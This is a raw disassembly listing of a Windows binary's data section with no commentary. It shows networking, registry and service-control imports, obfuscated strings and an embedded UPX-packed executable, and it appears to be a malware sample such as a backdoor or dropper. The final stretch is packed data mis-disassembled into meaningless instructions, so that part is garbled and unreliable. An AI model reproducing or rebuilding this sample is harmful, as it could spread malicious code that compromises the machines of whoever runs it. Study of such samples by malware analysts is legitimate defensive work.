		dd 575C00h, 576400h, 577400h, 578000h, 578800h,	579400h
		dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h,	57D000h
		dd 57DC00h, 57E800h, 0
		dd 57003000h, 74534153h, 75747261h, 70h, 61003500h, 70656363h
		dd 74h,	62003600h, 646E69h, 63003700h, 65736F6Ch, 6B636F73h
		dd 7465h, 63003800h, 656E6E6Fh,	7463h, 67003B00h, 6F687465h
		dd 79627473h, 656D616Eh, 67003C00h, 6F687465h, 616E7473h
		dd 656Dh, 68004600h, 736E6F74h,	69004700h, 5F74656Eh, 72646461h
		dd 69004900h, 5F74656Eh, 616F746Eh, 6C004B00h, 65747369h
		dd 6Eh,	72004F00h, 766365h, 73005500h, 646E65h,	73005900h
		dd 64747568h, 6E776Fh, 73005A00h, 656B636Fh, 74h, 49008100h
		dd 7265746Eh, 4774656Eh, 6F437465h, 63656E6Eh, 53646574h
		dd 65746174h, 53004F00h, 74654748h, 63657053h, 466C6169h
		dd 65646C6Fh, 74615072h, 4168h,	45008200h, 54746978h, 61657268h
		dd 64h,	4700CA00h, 6F437465h, 6E616D6Dh, 6E694C64h, 4165h
		dd 4700DE00h, 75437465h, 6E657272h, 6F725074h, 73736563h
		dd 6449h, 4700F800h, 69467465h,	6953656Ch, 657Ah, 47010C00h
		dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 43001B00h
		dd 65736F6Ch, 646E6148h, 656Ch,	47015500h, 69547465h, 6F436B63h
		dd 746E75h, 47015C00h, 65567465h, 6F697372h, 6Eh, 47016800h
		dd 61626F6Ch, 6464416Ch, 6D6F7441h, 41h, 49019200h, 7265746Eh
		dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 49019400h, 7265746Eh
		dd 6B636F6Ch, 6E496465h, 6D657263h, 746E65h, 4C01AD00h
		dd 6C61636Fh, 6F6C6C41h, 63h, 43003100h, 74616572h, 6C694665h
		dd 4165h, 5201FA00h, 46646165h,	656C69h, 52020E00h, 6E556C74h
		dd 646E6977h, 52020F00h, 655A6C74h, 654D6F72h, 79726F6Dh
		dd 53026400h, 7065656Ch, 6C02C600h, 63727473h, 416E7970h
		dd 6C02C900h, 6C727473h, 416E65h, 43004700h, 74616572h
		dd 72685465h, 646165h, 44005400h, 74656C65h, 6C694665h
		dd 4165h, 5300FE00h, 69547465h,	72656Dh, 52000200h, 73696765h
		dd 43726574h, 7373616Ch, 41h, 47002000h, 654D7465h, 67617373h
		dd 4165h, 54002400h, 736E6172h,	6574616Ch, 7373654Dh, 656761h
		dd 44002500h, 61707369h, 4D686374h, 61737365h, 416567h
		dd 50003D00h, 5174736Fh, 4D746975h, 61737365h, 6567h, 43004F00h
		dd 74616572h, 6E695765h, 45776F64h, 4178h, 44005100h, 72747365h
		dd 6957796Fh, 776F646Eh, 44005B00h, 69576665h, 776F646Eh
		dd 636F7250h, 41h, 4300BF00h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 65h, 4300C000h, 72746E6Fh, 65536C6Fh, 63697672h
		dd 65h,	4400C300h, 74656C65h, 72655365h, 65636976h, 4F00D100h
		dd 536E6570h, 6E614D43h, 72656761h, 41h, 4F00D300h, 536E6570h
		dd 69767265h, 416563h, 52016700h, 65446765h, 6574656Ch
		dd 756C6156h, 4165h, 52017100h,	72436765h, 65746165h, 4579654Bh
		dd 4178h, 52017400h, 6C436765h,	4B65736Fh, 7965h, 52017900h
		dd 704F6765h, 654B6E65h, 41784579h, 52018400h, 75516765h
		dd 56797265h, 65756C61h, 417845h, 52019000h, 65536765h
		dd 6C615674h, 78456575h, 41h, 5F00E800h, 616F7469h, 5F001800h
		dd 7465475Fh, 6E69614Dh, 73677241h, 5F018100h, 65656C73h
		dd 70h,	65020A00h, 746978h, 6D025400h, 70636D65h, 79h
		dd 6D025600h, 65736D65h, 74h, 72026000h, 65736961h, 72026100h
		dd 646E61h, 73026A00h, 616E6769h, 6Ch, 73026D00h, 6E697270h
		dd 6674h, 73026F00h, 646E6172h,	73027100h, 61637274h, 74h
		dd 73027200h, 68637274h, 72h, 73028000h, 74737274h, 72h
		dd 6F737700h, 32336B63h, 6C6C642Eh, 0Fh	dup(40500000h)
		dd 4E495700h, 54454E49h, 4C4C442Eh, 40501400h, 45485300h
		dd 32334C4Ch, 4C4C442Eh, 40502800h, 52454B00h, 334C454Eh
		dd 4C442E32h, 4Ch, 15h dup(40503C00h), 45535500h, 2E323352h
		dd 4C4C44h, 9 dup(40505000h), 56444100h, 33495041h, 4C442E32h
		dd 4Ch,	0Bh dup(40506400h), 54524300h, 2E4C4C44h, 4C4C44h
		dd 0Eh dup(40507800h), 25h dup(0)
		dd 2000h, 0
		dd 2000h, 100000h, 2A0000h, 300000h, 480000h
		db 2 dup(0)
word_4421BE	dw 817Ch		; DATA XREF: sub_40399B+19o
		db 0
byte_4421C1	db 0			; DATA XREF: sub_403A5F+17o
word_4421C2	dw 6960h		; DATA XREF: sub_403A5F+44o
		dd 3C3F3D2Fh
		db 0
byte_4421C9	db 47h,	80h, 53h	; DATA XREF: sub_403A5F+88o
		db 36h,	6Ch, 0
dword_4421CF	dd 203868h	byte_4421D3	db 6Dh			; DATA XREF: sub_403A5F+DDo
		dd 367E4074h
		db 0
byte_4421D9	db 77h,	2Dh, 67h	; DATA XREF: sub_403A5F+FCo
		db 7Ah,	0
word_4421DE	dw 8121h		; DATA XREF: sub_403BE7+17o
		dd 23717664h
		db 0
word_4421E5	dw 80h			; DATA XREF: sub_403BE7+125r
byte_4421E7	db 44h			; DATA XREF: sub_403BE7+14Co
		dd 6C8164h
dword_4421EC	dd 817430h	dword_4421F0	dd 64312F20h			db 59h,	0
dword_4421F6	dd 39324Ah			align 4
		dd 7, 0Ah
dword_442204	dd 0							; sub_403FD8:loc_404007r ...
word_442208	dw 58h			; DATA XREF: sub_40406B+15r
word_44220A	dw 5260h		; DATA XREF: sub_40406B+95o
		dd 51714D23h
		db 0
byte_442211	db 7Fh,	2Fh, 69h	; DATA XREF: sub_40406B+CBo
		dd 733B26h
byte_442218	db 3Dh,	36h, 0		; DATA XREF: sub_40406B+19Fo
byte_44221B	db 2Dh			; DATA XREF: sub_40406B+1DFo
		dd 3939203Bh
		db 61h,	0
dword_442222	dd 505866h			align 4
		dd 6, 0Eh
dword_442230	dd 0							; .text:loc_404372r ...
; HDESK	hDesktop
hDesktop	dd 0			; DATA XREF: sub_4043CA+19r
					; sub_4043CA+49r ...
dword_442238	dd 817Ch, 4, 0Ahdword_442244	dd 0							; sub_404491:loc_4044BFr ...
byte_442248	db 0			; DATA XREF: sub_404529+2Bo
byte_442249	db 0			; DATA XREF: sub_404529+1EDo
word_44224A	dw 204Bh		; DATA XREF: sub_40481B+31o
		dd 4D826943h
		db 20h,	0
aByqv		db 'BYQV',0             ; DATA XREF: sub_40481B+F1o
a4lk		db '&*4LK',0            ; DATA XREF: sub_40481B+158o
dword_44225D	dd 726254h	dword_442261	dd 2B542Ch	byte_442265	db 52h,	72h, 53h	; DATA XREF: sub_40481B+32Eo
		dd 517F60h
dword_44226C	dd 7226203Ah, 55606Dh, 6dword_442278	dd 0Ch							; sub_40506F+79r
dword_44227C	dd 0							; sub_404E2A:loc_404E60r ...
dword_442280	dd 354B5Eh	dword_442284	dd 252C366Fh			db 38h,	0
word_44228A	dw 7F70h		; DATA XREF: sub_40506F+Co
		db 0
byte_44228D	db 60h,	47h, 20h	; DATA XREF: sub_40506F+24o
		db 6Bh,	0
word_442292	dw 203Eh		; DATA XREF: sub_40506F+B7o
		dd 6860h, 7
dword_44229C	dd 11h							; sub_4054C8+149r ...
dword_4422A0	dd 0							; sub_405138:loc_40515Fr ...
; volatile LONG	Addend
Addend		dd 0			; DATA XREF: sub_4061F7+46o
dword_4422A8	dd 2B70443Eh, 422782hdword_4422B0	dd 786D5F42h, 26776Bhword_4422B8	dw 4Dh			; DATA XREF: sub_4054C8+5Br
word_4422BA	dw 6351h		; DATA XREF: sub_4054C8+FBo
		dd 27586466h
		db 0
byte_4422C1	db 4Eh,	59h, 0		; DATA XREF: sub_4054C8+10Eo
dword_4422C4	dd 7F3A3Fh	byte_4422C8	db 67h,	4Eh, 0		; DATA XREF: sub_4054C8+1B0o
dword_4422CB	dd 615920h	a70cg		db '70cg',0             ; DATA XREF: sub_4054C8+277o
byte_4422D4	db 0			; DATA XREF: sub_4054C8+3B7o
word_4422D5	dw 45h			; DATA XREF: sub_4054C8+3DAr
byte_4422D7	db 49h			; DATA XREF: sub_4054C8+54Ao
		dd 60547F6Fh
		db 74h,	0
word_4422DE	dw 3927h		; DATA XREF: sub_4054C8+588o
		dd 20364D6Ah
		db 4Eh,	0
word_4422E6	dw 3E83h		; DATA XREF: sub_4054C8+71Bo
		db 0
byte_4422E9	db 30h,	20h, 2Ch	; DATA XREF: sub_4054C8+7FFo
		db 61h,	0
word_4422EE	dw 79h			; DATA XREF: sub_4054C8+83Br
byte_4422F0	db 20h,	31h, 0		; DATA XREF: sub_4054C8+8CDo
byte_4422F3	db 62h			; DATA XREF: sub_405E88+1Ao
		db 38h,	0
word_4422F6	dw 602Ch		; DATA XREF: sub_405E88+2Do
		dd 59303A7Ah
		db 0
byte_4422FD	db 4Eh,	77h, 20h	; DATA XREF: sub_405E88+A7o
		db 2 dup(20h), 0
byte_442303	db 20h			; DATA XREF: sub_405E88+154o
		dd 2B7961h
word_442308	dw 68h			; DATA XREF: sub_405E88:loc_4060A2r
dword_44230A	dd 784973h	word_44230E	dw 512Ah		; DATA XREF: sub_405E88+2F9o
		dd 204080h
dword_442314	dd 4A206925h			db 0
dword_442319	dd 646942h	byte_44231D	db 53h,	3Fh, 58h	; DATA XREF: sub_4061F7+39o
		db 56h,	0
word_442322	dw 2F44h		; DATA XREF: sub_4061F7+121o
		dd 592766h
byte_442328	db 36h,	6Ch, 0		; DATA XREF: sub_4061F7+141o
byte_44232B	db 7Fh			; DATA XREF: sub_4061F7+16Co
		dd 526E2A20h
		db 0
dword_442331	dd 372A7Ch	byte_442335	db 3Eh,	82h, 0		; DATA XREF: sub_4061F7+207o
dword_442338	dd 246F6E45h			db 23h,	58h, 0
byte_44233F	db 32h			; DATA XREF: sub_4061F7+278o
		dd 2D773133h
		db 0
byte_442345	db 72h,	32h, 23h	; DATA XREF: sub_4061F7+296o
		dd 4025654Fh
		db 0
dword_44234D	dd 714B37h	dword_442351	dd 533320h	byte_442355	db 60h,	43h, 75h	; DATA XREF: sub_4061F7+447o
		db 52h,	48h, 0
byte_44235B	db 63h			; DATA XREF: sub_4061F7+49Bo
		dd 20h,	4
dword_442364	dd 0Dh		dword_442368	dd 0							; sub_406815:loc_40684Br ...
dword_44236C	dd 0							; sub_406A40+34r ...
dword_442370	dd 0							; sub_406911+17r ...
dword_442374	dd 0FFFFh						; sub_406A40+137r ...
dword_442378	dd 52772D20h, 4F6960hdword_442380	dd 496E20h	dword_442384	dd 3E425363h			db 73h,	0
dword_44238A	dd 657451h	word_44238E	dw 4124h		; DATA XREF: sub_406A40+85o
		dd 4C494F7Fh
		db 6Ch,	0
word_442396	dw 5F30h		; DATA XREF: sub_406A40+DBo
		dd 507F66h
dword_44239C	dd 4A2F7F41h, 4Fhdword_4423A4	dd 8							; sub_406D2E+F14r ...
dword_4423A8	dd 12h		dword_4423AC	dd 0							; sub_406CA2:loc_406CCFr ...
; DWORD	ThreadId
ThreadId	dd 1			; DATA XREF: StartAddress+7Cr
					; sub_407F07+23o
byte_4423B4	db 0			; DATA XREF: sub_406D2E+FD9r
		align 2
word_4423B6	dw 816Fh		; DATA XREF: sub_406D2E+19Bo
		db 57h,	38h, 0
dword_4423BB	dd 6D3520h	byte_4423BF	db 51h			; DATA XREF: sub_406D2E+1FDo
		dd 5A836E55h
		db 0
byte_4423C5	db 4Bh,	78h, 41h	; DATA XREF: sub_406D2E+282o
		dd 4C2F2B66h
		db 0
dword_4423CD	dd 24614Dh	dword_4423D1	dd 2C5E40h	a4yk3		db '4Yk3',0             ; DATA XREF: sub_406D2E+3D2o
aB		db '~',0               ; DATA XREF: sub_406D2E+492o
aZrsh		db 'ZRSH',0             ; DATA XREF: sub_406D2E+4ADo
aTxnve		db 'TxN‚e',0            ; DATA XREF: sub_406D2E+51Fo
word_4423E8	dw 72h			; DATA XREF: sub_406D2E+535r
word_4423EA	dw 386Bh		; DATA XREF: sub_406D2E+548o
		dd 6F448230h
		db 0
byte_4423F1	db 38h,	56h, 53h	; DATA XREF: sub_406D2E+5CCo
		db 5Eh,	26h, 0
dword_4423F7	dd 277C80h	word_4423FB	dw 38h			; DATA XREF: sub_406D2E+A31r
byte_4423FD	db 6Ch,	62h, 6Eh	; DATA XREF: sub_406D2E+A44o
		db 3Fh,	81h, 0
byte_442403	db 0			; DATA XREF: sub_406D2E+AA4o
byte_442404	db 68h,	3Ch, 0		; DATA XREF: sub_406D2E+B8Fo
byte_442407	db 0			; DATA XREF: sub_406D2E+C1Fo
dword_442408	dd 2D2079h	byte_44240C	db 0			; DATA XREF: sub_406D2E+CF6o
a1o8qz		db '1o8QZ',0            ; DATA XREF: sub_406D2E+D1Ao
aKbX0		db 'k*x0',0            ; DATA XREF: sub_406D2E+DBBo
word_442419	dw 20h			; DATA XREF: sub_406D2E+E00r
byte_44241B	db 4Ah			; DATA XREF: sub_406D2E+E5Bo
		dd 204D6A76h
		db 0
dword_442421	dd 3B4B20h	byte_442425	db 27h,	47h, 35h	; DATA XREF: sub_406D2E+1001o
		db 61h,	48h, 0
byte_44242B	db 0			; DATA XREF: sub_406D2E+10B4o
dword_44242C	dd 0FFFFFFFFh, 407ED9h,	407EE4hdword_442438	dd 0				dd 8
dword_442440	dd 12h		dword_442444	dd 0							; sub_407FBC:loc_407FE9r ...
dword_442448	dd 6B20517Eh			db 79h,	0
word_44244E	dw 5A4Dh		; DATA XREF: sub_40844F+84o
		db 90h
		align 2
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0C80000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 13h	dup(0)
		dd 45500000h, 14C0000h,	88F20003h, 41CAh, 0
		dd 0E00000h, 10B010Fh, 40000006h, 10000000h, 50000000h
		dd 98200000h, 60000000h, 0A0000000h, 0
		dd 10000040h, 2000000h,	40000h,	0
		dd 40000h, 0
		dd 0B0000000h, 10000000h, 0
		dd 20000h, 0
		dd 10000010h, 0
		dd 10000010h, 0
		dd 100000h, 2 dup(0)
		dd 0A0000000h, 0D80000h, 1Ch dup(0)
		dd 50550000h, 3058h, 50000000h,	10000000h, 0
		dd 4000000h, 3 dup(0)
		dd 800000h, 5055E000h, 3158h, 40000000h, 60000000h, 3A000000h
		dd 4000000h, 3 dup(0)
		dd 400000h, 5055E000h, 3258h, 10000000h, 0A0000000h, 2000000h
		dd 3E000000h, 3	dup(0)
		dd 400000h, 0C000h, 42h	dup(0)
		db  0Ah
		align 2
aInfoThisFileIs	db '$Info: This file is packed with the UPX executable packer http://'
		db 'upx.tsx.org $',0Ah,0
aIdUpx1_07Copyr	db '$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Re'
		db 'served. $',0Ah,0
		dw 5055h
		dd 90C2158h, 0A530902h,	0A837A262h, 72695F94h, 381F0000h
		dd 70000000h, 4260000h,	7EE93800h, 4D009208h, 300905Ah
		dd 3200043Bh, 0FFFFB2C8h, 0F97F40B8h, 4C8377Fh,	0EBA1F0Eh
		dd 0CD09B400h, 4C01B821h, 73696854h, 0FDBF7020h, 6F72FFFFh
		dd 6D617267h, 6E616320h, 20746F6Eh, 72206562h, 69206E75h
		dd 534F4402h, 50ED6D20h, 646FFF60h, 0D0D2E65h, 50C7240Ah
		dd 0DBED1345h, 14CFF21h, 888A0002h, 9DE041CAh, 6010B21h
		dd 7EE90F08h, 0E022B3h,	10E018A4h, 0F9257325h, 20B6366h
		dd 604501Eh, 0C96E676h,	710341Eh, 0F65E5920h, 29E0A006h
		dd 0B2017578h, 17C6FDDh, 4D3864D8h, 37903F76h, 7865742Eh
		dd 20A22B74h, 96CB6FFBh, 41A00EBh, 65722EE0h, 0CC636F6Ch
		dd 677BECA6h, 2623FB9Eh, 107942A2h, 3703D95h, 2CDB3034h
		dd 1226669Bh, 46E22FFAh, 9A691B30h, 0B423BAEh, 5E14032Ch
		dd 0CD34D36Eh, 562C4AB2h, 4D867062h, 9C4D34D3h,	0E2D4C2AEh
		dd 59AE9AF2h, 182D0836h, 463C0728h, 69A69A69h, 786C6254h
		dd 9A69B28Eh, 0C6B49EA6h, 4D2F02E2h, 0F4CDB9D3h, 3972E0Ah
		dd 344C3C24h, 5C34D34Dh, 9A8A7C6Ah, 0D34D34DBh,	0E6CEC0AAh
		dd 59BF2EF2h, 243BA776h, 0F4031087h, 69A6E42Bh,	0CAD4A69Ah
		dd 0BAACB6C0h, 0A29A6D60h, 0D72B9098h, 7B66B27Fh, 9603E9B6h
		dd 78132F8Ah, 0FF880330h, 66D217FFh, 4F538130h,	41575446h
		dd 4D5C4552h, 6F726369h, 0E5666F73h, 74FFFFFFh,	6E69575Ch
		dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h
		dd 0FB7F6853h, 536CDB6Fh, 6528760Ch, 656A624Fh,	10447463h
		dd 6F4C7961h, 0AD6E6461h, 39477015h, 6739082Bh,	0A5FF3F4Dh
		dd 0DB6C2006h, 72617041h, 6E656D74h, 0FA6E495Ch, 53035EDFh
		dd 33023B63h, 4C430032h, 5C444953h, 0E77ED923h,	257B00BBh
		dd 2D583830h, 0FA5D3404h, 7D0361DBh, 0FCEC8323h, 0F0E89090h
		dd 0DEF75706h, 60BAFBBh, 78453759h, 7C737469h, 6046DE82h
		dd 62694CFBh, 3B797172h, 656E686Bh, 0BF6ED76Ch,	5FB5DF67h
		dd 57791B54h, 7DF60FD5h, 0B565DBFBh, 50677562h,	6CC76972h
		dd 23656765h, 7850305Ch, 642E1ED7h, 50580F2Bh, 6F114F4Ch
		dd 33D5B737h, 21727270h, 2B6261C5h, 6F667364h, 62360DECh
		dd 732E126Fh, 35CBB79h,	0B835A0DDh, 5C214964h, 64723A5Dh
		dd 8FB10B7Fh, 5F74511Ah, 5CEC1F33h, 65704F5Fh, 0FE57B218h
		dd 4478566Eh, 706E6148h, 0B5AC006Eh, 2D4D37FFh,	4B59542Dh
		dd 46475157h, 0E0A4A48h, 0F9ED6113h, 4245411Fh,	48534159h
		dd 5B25464Ch, 7B096702h, 32020EFh, 30231205h, 0B0EF7BEEh
		dd 0B3A0F32h, 1E331504h, 7FFC8360h, 4A455767h, 4A464B57h
		dd 0AB414557h, 0FE9A13BBh, 5349444Eh, 1A034452h, 0A200FF97h
		dd 0CBCB901Fh, 1FA60B6Eh, 91218D0Fh, 0A4BCB921h, 31232319h
		dd 6D253525h, 0D97FD3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 57740150h
		push	24h
		dec	ch
		imul	ch
		adc	eax, 8D1E112Ch
		inc	ebp
		lock push eax
		or	[eax], ebp
		movzx	eax, word ptr [ebp-6]
		push	eax
		mov	esi, ds:74F3CF20h
		iret
; ---------------------------------------------------------------------------
		db 0Ah,	0FCh, 50h
; ---------------------------------------------------------------------------


loc_442B80:				; CODE XREF: .text:00442B8Ej
		add	al, 0FEh
		clc
		div	ah
		db	66h
		wait
		sti
		not	dword ptr [eax-73h]
		test	[eax+5Bh], edi
		jnz	short loc_442B80
		push	0D63826C0h
		adc	ch, cl
		db	36h
		mov	ebx, 0FEB017ECh
		push	0C4F14B4h
		push	0FFFFFFB7h
		sbb	eax, 9904FB7Fh
		pop	ecx
		idiv	ecx
		pop	edi
		fadd	qword ptr [ebx+505205C2h]
		sub	cl, [esi+edx*8]
		pop	ebp
		xor	al, 10h
		int	3		; Trap to Debugger
		mov	ebp, 0C4832F73h
		cmp	ds:0B0685027h, dl
		sub	[ecx+7776DB3Bh], eax
		pop	ebx
; ---------------------------------------------------------------------------
		dd 80A0BF8Fh, 12285750h, 5214220Fh, 647736Eh, 373015A4h
		dd 7D330876h, 1766E6B0h, 6A2C310Bh, 0D8986809h,	0C9ECE761h
		dd 28458830h, 66FDDB9Fh, 7909372Fh, 68234068h, 77866E02h
		dd 606C986Eh, 0C95E5F12h, 0AEF22C3h, 18E11BEFh,	0A91D8B53h
		dd 0FF336726h, 0EFFC7D89h, 0FFFCFF0Ah, 10C083D3h, 312C8950h
		dd 0F08BDC1Ch, 0FF73B59h, 0EFDB2384h, 6A4937BAh, 3AE4680Ah
		dd 21D1756h, 468D056Ah,	0DFB7F00Fh, 0F817B16h, 0D3B41859h
		dd 0F467640h, 730FED6Ch, 570C1509h, 24122068h, 3FFB1475h
		dd 0C73BDED9h, 18090E75h, 0EB026A04h, 0F84D8D23h, 1337F351h
		dd 111CB3DBh, 5E2A2BF8h, 0C2105021h, 823B6EEDh,	5803FA08h
		dd 840A13E9h, 0DD77FB62h, 300068F7h, 4C2E5783h,	3BD88B1Fh
		dd 687D74DFh, 3AD95C14h, 10481BB7h, 0B70A0468h,	60440EF4h
		dd 6ABFBB6Fh, 58F88BF6h, 2B58F868h, 3F45AC3h, 0C28D16F8h
		dd 89F1F4BFh, 0CB2BC87Eh, 4689C103h, 7E22210Bh,	0E10DB86Eh
		dd 23B05356h, 33E81040h, 0EC6FEEF6h, 0F43C2DFh,	56535056h
		dd 8C3C1656h, 770974C6h, 9B8D17EEh, 0C710EB38h,	7EB0431h
		dd 0ECDF3508h, 1A250699h, 7D8B0711h, 6A1611Bh, 51615B60h
		dd 0F605746h, 66DF8E31h, 61FC96BBh, 0AF0F5424h,	0EB4A31Ch
		dd 75FFFFDEh, 0B907A121h, 35247621h, 7BFBC069h,	0C82B7F7Ch
		dd 0C2126851h, 2BD998EDh, 0D0F71D58h, 2D2474BFh, 0C7DCF6FBh
		dd 155CC701h, 500CA756h, 6BCC033h, 0CA1DD33h, 0A1609A6Bh
		dd 1A3B6C5Dh, 0D956D913h, 641A206Ah, 9D8DB438h,	0A2F0DE08h
		dd 0B73816ECh, 3019D866h, 0F8C3522Eh, 0DA1B6B02h, 0E10C7DBh
		dd 106A1301h, 0E9B3D537h, 14FCAD99h, 284BC610h,	0CD73A702h
		dd 0FDD8780Dh, 7C514104h, 7A799D23h, 13E01511h,	59B5E078h
		dd 44CF1F92h, 0DB541112h, 0ED372E9h, 83F08B74h,	3902F74h
		dd 5B64D9E8h, 0A0567832h, 9D351270h, 6C572119h,	1F5E681Bh
		dd 8986EF8Dh, 0DB33537Dh, 64405357h, 6FBDEE90h,	5B83E70Bh
		dd 0BE566C74h, 0BF6AA218h, 538C6667h, 890F087Fh, 575015B5h
		dd 3FD2D3ECh, 74C0858Ah, 67849F36h, 0E19939D6h,	74766CE6h
		dd 84202613h, 71E3EB15h, 5B359BE1h, 895BFC14h, 0FC6157D9h
		dd 5E3FB067h, 5B5FC38Bh, 5D8B048Dh, 53575608h, 0FDBEB7FEh
		dd 3D66590Eh, 3F76C88Bh, 3C80D144h, 0D745C1Ah, 0FF6DC181h
		dd 151FAF6Fh, 0EBEC77C9h, 3B664101h, 1B2373C8h,	0BE17FFC9h
		dd 6DF002B4h, 1778F12Bh, 8148DC5h, 1A148A47h, 61059488h
		dd 6D7B6376h, 7E6DC718h, 0C62F7AEBh, 90A618B7h,	245C644Ch
		dd 0AF9D560Ch, 57FFDDB7h, 10247C8Bh, 197EDB85h,	2EAB0A6Eh
		dd 7D1A6AC0h, 0FFFEE678h, 8861C280h, 3B463E14h,	80E77CF3h
		dd 32001F24h, 2C02109Fh, 8FFFF8ECh, 84D8B0Ch, 0D895648h
		dd 777550BCh, 237BF0C6h, 0A151930Bh, 536FF898h,	0B0B64F84h
		dd 0FC1BDA0Bh, 2404C711h, 7B01C75Ch, 59D676F6h,	2E7559D7h
		dd 13546815h, 0B37ECBF0h, 93B4E1Ah, 4080B27h, 0E1610CEBh
		dd 68F1BDAFh, 0A929193Ch, 505959E0h, 95F7C358h,	0CC27027h
		dd 1703189Bh, 0B3637289h, 6801FB3Dh, 0D1261294h, 3DA88F59h
		dd 85BD95B7h, 1FE934Fh,	0BF5D940Eh, 64C9C9ADh, 7B575D9Ch
		dd 7C9DF8F0h, 30BB6D93h, 9F6880A5h, 0B44EB1E1h,	0C0A359CDh
		dd 0ACA43F00h, 315F5F7Bh, 12353C7Ch, 960C7024h,	4505B36Eh
		dd 0E564BFA0h, 5A786657h, 6DB755A0h, 9B9C2613h,	5FDB93Dh
		dd 0E8E6EBEBh, 34680CFCh, 6CC7580Ah, 7B167716h,	2733756Ah
		dd 5F17E15Dh, 0E804F7E3h, 0E69FD8CDh, 0A2F18B76h, 0C79CFC18h
		dd 41135006h, 0E3998C65h, 196A1A1Dh, 0B60514C0h, 26108D66h
		dd 1F20B710h, 57816E74h, 257126Dh, 6F09B0C3h, 0D7611EB5h
		dd 0B7518C8h, 2DC05935h, 147E89FFh, 57571CEBh, 0AC470957h
		dd 3EB799BEh, 99741446h, 16012046h, 5FC68B1Ch, 0C6D77F68h
		dd 6283568Dh, 44F6420Fh, 20010824h, 11DB66D8h, 1D5920D6h
		dd 3DA21B5Eh, 0FB59BB6Fh, 9D5C8BEAh, 74037468h,	0DB768BD7h
		dd 14ED95A3h, 5609F685h, 752A6146h, 0B7F6FB7Fh,	0F03BDF1Ch
		dd 718D0375h, 8318515Bh, 392527FAh, 6752045h, 0FDB035B2h
		dd 5104C183h, 20D003EBh, 14021847h, 0D674B3F5h,	4552AF10h
		dd 1CC25DB4h, 0D8055EB6h, 7AC4B870h, 0E510E41Ah, 4FF42BEh
		dd 20C46818h, 896A9A7Ah, 0CED8C847h, 86A00E4h, 0D8C8CC18h
		dd 0C4202BD8h, 4C351016h, 0D03211D9h, 0B08D18D4h, 0B2C1A05h
		dd 0D81B6914h, 8E7C1D19h, 0A04514h, 565E5308h, 12CC170Ah
		dd 4D61605Eh, 660BB8FCh, 940AC604h, 83ABC040h, 0DDEDC0B3h
		dd 21170BDh, 0EA8B0575h, 12CB3CEBh, 0C187CD06h,	6810AFBCh
		dd 1A8A53A4h, 36276FCh,	3931EB76h, 0BA5D0C7Dh, 191E05D2h
		dd 2EB17D0h, 5BB81EE0h,	30F6DD6Bh, 8D00575Fh, 0DC91AE71h
		dd 344AC57Eh, 0E942189h, 6DAE08C2h, 0BF98F138h,	78570880h
		dd 12DB098Eh, 85E8BEFh,	2F0C331h, 74C3FDF4h, 7449205Ch
		dd 0C7C82C14h, 0A2659BA1h, 7AC4660Dh, 5C68DD4Ah, 4D6D46E2h
		dd 510CEFE8h, 63FFBA4Fh, 0FC26F135h, 0C01BD8F7h, 5FC2456h
		dd 9B5071E4h, 6FC5D483h, 0E59518A8h, 0B36AC503h, 0FFB191B7h
		dd 753BC445h, 93C0940Fh, 1F068FB6h, 4A3EF9D9h, 0B18BCC26h
		dd 4D17DE35h, 6895910h,	0CFA69106h, 0B986F977h,	8A040883h
		dd 1010E04h, 5D270C46h,	106D78FBh, 7AD518E7h, 534244C7h
		dd 76398D9Dh, 0F66AD943h, 57465945h, 0B2436206h, 3D06CB3Eh
		dd 2B6DF6AAh, 0B54CB46Ch, 89630CC9h, 4B565F01h,	5DDC6214h
		dd 418B4C5Bh, 0B455A420h, 314CDED6h, 3F6856E1h,	5D00A4CFh
		dd 88661647h, 5741415h,	336CEB67h, 0A6278CDCh, 1DA9AAh
		dd 9C1B6332h, 0F5E6803h, 2F6DB804h, 66602061h, 573B60Fh
		dd 0BB648AFBh, 9897785Eh, 1261C10Bh, 52135868h,	0FBC228D0h
		dd 0A1642E21h, 25896408h, 0C7CEA307h, 0D22CDDC6h, 0A5E86589h
		dd 27240C29h, 7BD757F4h, 30BBBB0h, 0F86850C3h, 0B76CC0Ah
		dd 4014E4B4h, 0E12E0F40h, 0B916D170h, 0AF3861E0h, 0A9522B34h
		dd 6BFBF192h, 9B6990B3h, 94DC1AFAh, 85930D9Bh, 4390A153h
		dd 5B4F9493h, 16F8B6EBh, 42392FE4h, 45F7DB08h, 0DA2DC0BFh
		dd 7C5B3BC8h, 201E7C80h, 44C60573h, 6FE25A6Dh, 0EB402E06h
		dd 1F76FFE9h, 0E0757546h, 86E1BC3h, 0E00381AEh,	0B9616480h
		dd 3105BAB1h, 4D450CCh,	0A6DDA60Ch, 1D5FA246h, 50DA1E08h
		dd 0CF3CD804h, 0D4D63CF3h, 9ED2CECCh, 46D979E7h, 746B60Ah
		dd 6A040506h, 18F9EF9Eh, 2040308h, 53B60601h, 6A716023h
		dd 58859215h, 0E8130340h, 98C95790h, 0BF723EC4h, 0C49A8598h
		dd 50AE2350h, 6B6F683Fh, 21D00ADCh, 59504208h, 623E3786h
		dd 0C483D911h, 0D20EEBFFh, 0C2BE1696h, 0C758BC3h, 0F185598Bh
		dd 37D3D907h, 0CF1CBEFAh, 0E07D83h, 160EE070h, 96841A46h
		dd 0B4F072CCh, 8A70F20Dh, 0D8FBCE71h, 0C9F0F468h, 0C8833811h
		dd 0CDF6ABFFh, 9FA17C2Ch, 3B0C55C0h, 0D7992D6h,	0B42E9EA5h
		dd 1DE677FCh, 7AF286E4h, 0BB4BFFFFh, 0CE8B135Eh, 0CA3BDCA6h
		dd 48A2973h, 0C0458839h, 972303Ch, 1D73393Ch, 7D778F4Dh
		dd 0D6AC0F8h, 74B84B0Ah, 8BE4797Fh, 6EBD8F1h, 0FD0EB41h
		dd 28850F39h, 0BD1FEDBCh, 3BF64A8Dh, 5C1548F1h,	0DFFFFD73h
